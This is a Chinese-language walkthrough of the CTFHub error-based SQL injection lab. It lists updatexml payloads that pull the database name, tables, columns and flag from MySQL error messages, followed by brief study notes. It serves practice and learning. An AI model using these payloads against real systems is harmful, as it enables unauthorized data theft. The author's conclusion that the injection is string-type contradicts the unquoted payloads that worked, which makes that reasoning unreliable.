38.【3】CTFHUB web sql 报错注入

进入靶场

按照提示输入1

显示查询正确

既然是报错注入，先判断整形还是字符型注入

先输入1 and 1=1

再输入1 and 1=2

都显示查询正确，可知此为字符串型注入，不是数字型注入

然后就不会了

求助AI和其他wp

由以上2张搜索结果知updatexml是适用于字府串型注入的函数，且知道大概用法，开始注入

爆出库名          1 and updatexml(1,concat(0x7e,database()),3)

爆出表名                 1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli')),3)

爆出字段名           1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='flag')),3)

 并没有显示字段名，添加了库名后才显示，应该是含有多个flag表，添加库名缩小了范围便显示出来了

1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag')),3)

爆出字段内容        1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)

得到flag

笔记

1，报错注入先判断是字府串型注入还是数字注入

2，判断出类型便可运用相关函数

3，updatexml函数

 1 and updatexml(1,concat(0x7e,database()),3)

第一个与第三个参数随便写，因为我们并不用它，参数2处的concat 是一个用于连接字符串的函数，0x7e代表16进制，避免特殊字符造成的错误